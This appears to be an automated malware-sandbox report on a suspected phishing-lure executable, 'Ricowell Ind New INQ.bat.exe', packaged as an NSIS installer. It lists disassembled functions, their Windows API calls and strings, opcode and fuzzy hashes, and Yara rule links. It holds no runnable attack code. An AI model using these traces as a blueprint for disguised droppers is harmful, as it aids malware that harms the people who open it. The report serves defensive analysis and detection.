Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: Call$N$open
API String ID: 3615053054-2563687911
Opcode ID: aa854a75b9a8ef41e2656ff54a1ab69c816baf86c41e2f577b142ace3155aca6
Instruction ID: 47d1c741c4840d0b501b4796cf3fe0e3440e9ec9cd7b0debe1a5eac4f9bfffd7
Opcode Fuzzy Hash: aa854a75b9a8ef41e2656ff54a1ab69c816baf86c41e2f577b142ace3155aca6
Instruction Fuzzy Hash: 8F61A0B1A40309BFEB109F61DD45F6A7B69FB84704F108026FB04BB2D1C7B8A951CB99

Function 00405A6E Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 136stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(00421A88,NUL,?,00000000,?,00000000,?,00405C12,?,?,00000001,004057B5,?,00000000,000000F1,?), ref: 00405A7E
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,00000000,?,00405C12,?,?,00000001,004057B5,?,00000000,000000F1,?), ref: 00405AA2
GetShortPathNameA.KERNEL32(00000000,00421A88,00000400), ref: 00405AAB

Part of subcall function 0040592C: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B5B,00000000,[Rename],00000000,00000000,00000000), ref: 0040593C
Part of subcall function 0040592C: lstrlenA.KERNEL32(00405B5B,?,00000000,00405B5B,00000000,[Rename],00000000,00000000,00000000), ref: 0040596E

GetShortPathNameA.KERNEL32(?,00421E88,00000400), ref: 00405AC8
wsprintfA.USER32 ref: 00405AE6
GetFileSize.KERNEL32(00000000,00000000,00421E88,C0000000,00000004,00421E88,?,?,?,?,?), ref: 00405B21
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00405B30
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405B68
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00000000,00421688,00000000,-0000000A,004093A0,00000000,[Rename],00000000,00000000,00000000), ref: 00405BBE
WriteFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00405BD0
GlobalFree.KERNEL32(00000000), ref: 00405BD7
CloseHandle.KERNEL32(00000000), ref: 00405BDE

Part of subcall function 004059C7: GetFileAttributesA.KERNELBASE(00000003,00402CBC,C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe,80000000,00000003), ref: 004059CB
Part of subcall function 004059C7: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004059ED

Strings

[Rename], xrefs: 00405B50, 00405B62
NUL, xrefs: 00405A78
%s=%s, xrefs: 00405ADC

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizeWritewsprintf
String ID: %s=%s$NUL$[Rename]
API String ID: 1265525490-4148678300
Opcode ID: 10d4b8fe51d6b6f2625f365b8b26cf256cf2f07af5c2bd562b8105816d8408bc
Instruction ID: 2d1e09aab0418ff75005a817fdb93eb8b9645243d234663ae25a64343302d3c0
Opcode Fuzzy Hash: 10d4b8fe51d6b6f2625f365b8b26cf256cf2f07af5c2bd562b8105816d8408bc
Instruction Fuzzy Hash: BE41DEB1604A15BFD6206B219C49F6B3A6CDF45718F14053BBE01FA2D2EA7CB8018E7D

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,00422F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: c2d680870d7abd1e1a74e136b5aebc8f23ebe5596e06de1d1944de18111d68fb
Instruction ID: ce5436bc7dfccdabf5b2378cdbc04c65b8fc1f8d51739f20964cb8902a5fcb59
Opcode Fuzzy Hash: c2d680870d7abd1e1a74e136b5aebc8f23ebe5596e06de1d1944de18111d68fb
Instruction Fuzzy Hash: F2419A72804249AFCF058F94CD459AFBFB9FF44310F00812AF961AA1A0C738EA50DFA5

Function 00405FA1 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031EF,C:\Users\user\AppData\Local\Temp\,76FB3410,004033C9), ref: 00405FF9
CharNextA.USER32(?,?,?,00000000), ref: 00406006
CharNextA.USER32(?,"C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031EF,C:\Users\user\AppData\Local\Temp\,76FB3410,004033C9), ref: 0040600B
CharPrevA.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031EF,C:\Users\user\AppData\Local\Temp\,76FB3410,004033C9), ref: 0040601B

Strings

*?|<>/":, xrefs: 00405FE9
C:\Users\user\AppData\Local\Temp\, xrefs: 00405FA2, 00405FA7
"C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe", xrefs: 00405FDD

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-2258169237
Opcode ID: cac177dc58e6cdce4745106bcf32f060ca56d97be21c35c0cc42ba282efa81fa
Instruction ID: 96a923a8ee4f60b6f191beee89bac6a1f57d38d5d4ddb578b75945660f6dc773
Opcode Fuzzy Hash: cac177dc58e6cdce4745106bcf32f060ca56d97be21c35c0cc42ba282efa81fa
Instruction Fuzzy Hash: 57110451908B9229FB325A284C40B777F99CF5A760F18047FE5C1722C2C67C5C529B6E

Function 00404053 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00404070
GetSysColor.USER32(00000000), ref: 0040408C
SetTextColor.GDI32(?,00000000), ref: 00404098
SetBkMode.GDI32(?,?), ref: 004040A4
GetSysColor.USER32(?), ref: 004040B7
SetBkColor.GDI32(?,?), ref: 004040C7
DeleteObject.GDI32(?), ref: 004040E1
CreateBrushIndirect.GDI32(?), ref: 004040EB

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 059a6408e4ff7a7a286042baf0ba0b6777dcdd2840b1e709c5bb58eb991f2f1d
Instruction ID: 47825c477eeffae7bcc1b4b45db8633c52535f80fcd06c8b97140eed864a5805
Opcode Fuzzy Hash: 059a6408e4ff7a7a286042baf0ba0b6777dcdd2840b1e709c5bb58eb991f2f1d
Instruction Fuzzy Hash: 0621A4B18047049BCB309F68DD08B4BBBF8AF40714F048639EA95F26E1C738E944CB65

Function 100021FA Relevance: 10.6, APIs: 7, Instructions: 139memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 1000234A

Part of subcall function 10001224: lstrcpynA.KERNEL32(00000000,?,100012CF,-1000404B,100011AB,-000000A0), ref: 10001234

GlobalAlloc.KERNEL32(00000040,?), ref: 100022C3
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 100022D8
GlobalAlloc.KERNEL32(00000040,00000010), ref: 100022E7
CLSIDFromString.OLE32(00000000,00000000), ref: 100022F4
GlobalFree.KERNEL32(00000000), ref: 100022FB

Memory Dump Source

Source File: 00000000.00000002.790762790038.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.790762749933.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.790762821158.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.790762850216.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Ricowell Ind New INQ.jbxd

Similarity

API ID: Global$AllocFree$ByteCharFromMultiStringWidelstrcpyn
String ID:
API String ID: 3730416702-0
Opcode ID: 5812f53bea9c9c9f79666072e50bc0f3831b96dbb387c6cf78516ccbd9521935
Instruction ID: fe65b043c70383bd2b49c92c90746d4950a0c6047a38c1932a2dc3020861886a
Opcode Fuzzy Hash: 5812f53bea9c9c9f79666072e50bc0f3831b96dbb387c6cf78516ccbd9521935
Instruction Fuzzy Hash: F6418BB1108711EFF720DFA48884B5BB7F8FF443D1F218929F946D61A9DB34AA448B61

Function 100023DA Relevance: 10.6, APIs: 7, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 10001215: GlobalAlloc.KERNEL32(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D

GlobalFree.KERNEL32(?), ref: 100024B9
GlobalFree.KERNEL32(00000000), ref: 100024F3

Memory Dump Source

Source File: 00000000.00000002.790762790038.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.790762749933.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.790762821158.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.790762850216.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Ricowell Ind New INQ.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 28705be4039c1f606362c20ff13fdce37c258c5b4734a68cc6567389004174f8
Instruction ID: 82133e1bc6da927614d5bcfc3b496831b4cb396c3e6da136b8b2dca3161aa200
Opcode Fuzzy Hash: 28705be4039c1f606362c20ff13fdce37c258c5b4734a68cc6567389004174f8
Instruction Fuzzy Hash: 75319CB1504251EFF722CF94CCC4C6B7BBDEB852D4B128569FA4193228DB31AC54DB62

Function 00402683 Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 004026D7
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,000000F0), ref: 004026F3
GlobalFree.KERNEL32(?), ref: 0040272C
WriteFile.KERNEL32(FFFFFD66,00000000,?,FFFFFD66,?,?,?,?,000000F0), ref: 0040273E
GlobalFree.KERNEL32(00000000), ref: 00402745
CloseHandle.KERNEL32(FFFFFD66,?,?,000000F0), ref: 0040275D
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 00402771

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 0f129fd7f7df80537c5f9e1eb6f54556ad660c5267986f7df7bd7c5007d73d3e
Instruction ID: 552098977e22cffcc29eaacdabede243c0f20e1b5d71923adfcfca28e3e686eb
Opcode Fuzzy Hash: 0f129fd7f7df80537c5f9e1eb6f54556ad660c5267986f7df7bd7c5007d73d3e
Instruction Fuzzy Hash: 63318DB1C00118BFCF216FA5CD89DAE7E79EF09364F10423AF520762E1C6795D419BA9

Function 00402BDA Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402BF2
GetTickCount.KERNEL32 ref: 00402C10
wsprintfA.USER32 ref: 00402C3E

Part of subcall function 0040501F: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C51,00000000,?), ref: 00405058
Part of subcall function 0040501F: lstrlenA.KERNEL32(00402C51,Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C51,00000000), ref: 00405068
Part of subcall function 0040501F: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,00402C51,00402C51,Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,00000000,00000000,00000000), ref: 0040507B
Part of subcall function 0040501F: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll), ref: 0040508D
Part of subcall function 0040501F: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004050B3
Part of subcall function 0040501F: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004050CD
Part of subcall function 0040501F: SendMessageA.USER32(?,00001013,?,00000000), ref: 004050DB

CreateDialogParamA.USER32(0000006F,00000000,00402B42,00000000), ref: 00402C62
ShowWindow.USER32(00000000,00000005), ref: 00402C70

Part of subcall function 00402BBE: MulDiv.KERNEL32(00036845,00000064,00038D48), ref: 00402BD3

Strings

... %d%%, xrefs: 00402C38

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 4774796197fe5164bdbc165248605a4c2f395ef1972e6126fe3027443e66bd13
Instruction ID: 53b2eec8c243fd5a5b591a6d8e7090b5e500d3da6e0592f5c5af2241ed808ea0
Opcode Fuzzy Hash: 4774796197fe5164bdbc165248605a4c2f395ef1972e6126fe3027443e66bd13
Instruction Fuzzy Hash: AB0188B0949614ABDB216F64AE4DE9F7B7CFB017057148037FA01B11E1C6B8D541CBAE

Function 004048EA Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 00404905
GetMessagePos.USER32 ref: 0040490D
ScreenToClient.USER32(?,?), ref: 00404927
SendMessageA.USER32(?,00001111,00000000,?), ref: 00404939
SendMessageA.USER32(?,0000110C,00000000,?), ref: 0040495F

Strings

f, xrefs: 0040493B

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 0143edfa65d7345696b674457d3757b6620fab040ae94d4e1f917914a8284de5
Instruction ID: 7baaa9b85802c8a5173365c44ed2834cc31749f5d024e9fb4d2ec5e64c2f69ce
Opcode Fuzzy Hash: 0143edfa65d7345696b674457d3757b6620fab040ae94d4e1f917914a8284de5
Instruction Fuzzy Hash: E40140B1D00218BADB01DBA4DC85FFFBBBCAB95721F10412BBA10B61D0C7B469018BA5

Function 00402B42 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402B5D
wsprintfA.USER32 ref: 00402B91
SetWindowTextA.USER32(?,?), ref: 00402BA1
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402BB3

Strings

verifying installer: %d%%, xrefs: 00402B86, 00402B8F
unpacking data: %d%%, xrefs: 00402B7F

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: bccffcf18056edd42c20cb723d80919439a72dcdb3cc8cc3de12e394d3f134cc
Instruction ID: 4b4d840d1cf11f9656568dd8641bec75cd76f4f3bd4f461a87d93eb2d0bf3f96
Opcode Fuzzy Hash: bccffcf18056edd42c20cb723d80919439a72dcdb3cc8cc3de12e394d3f134cc
Instruction Fuzzy Hash: F7F01D70900208BBEF215F61DD4ABEE3779EB00345F00803AFA06B51D0D7F8AA558B9A

Function 004047E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(Tosporet Setup: Installing,Tosporet Setup: Installing,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004046FB,000000DF,00000000,00000400,?), ref: 0040487E
wsprintfA.USER32 ref: 00404886
SetDlgItemTextA.USER32(?,Tosporet Setup: Installing), ref: 00404899

Strings

Tosporet Setup: Installing, xrefs: 00404870, 00404875, 0040487B, 0040488F
%u.%u%s%s, xrefs: 00404868

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$Tosporet Setup: Installing
API String ID: 3540041739-4004758435
Opcode ID: 878f77dbdcb51275c09da16e61d4023f379ce68319930481f66ff31823ee0149
Instruction ID: 8631c14a921e8479d2aaee063571767324bc63c1cfe9171b6f21c1c007081b9c
Opcode Fuzzy Hash: 878f77dbdcb51275c09da16e61d4023f379ce68319930481f66ff31823ee0149
Instruction Fuzzy Hash: 90112433A441283BDB0065AD9C49EAF328CDF81334F244637FA25F61D1E9788C1292E8

Function 00402A3D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,?,?), ref: 00402A5E
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402A9A
RegCloseKey.ADVAPI32(?), ref: 00402AA3
RegCloseKey.ADVAPI32(?), ref: 00402AC8
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402AE6

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 5733a3c7ed8837a4e33d89bc0436a18c4a21248f1d51b77dead4e3ad8d80db37
Instruction ID: 1cfc72d501241f28ff1c9237e437913a5e8660848d06dce24e2e83bd327c9a1b
Opcode Fuzzy Hash: 5733a3c7ed8837a4e33d89bc0436a18c4a21248f1d51b77dead4e3ad8d80db37
Instruction Fuzzy Hash: EA114F71A00108FFDF219F90DE48EAA3B7DEB44349B104076FA05B11A0DBB49E559F69

Function 00401CCC Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 00401CD0
GetClientRect.USER32(00000000,?), ref: 00401CDD
LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401CFE
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D0C
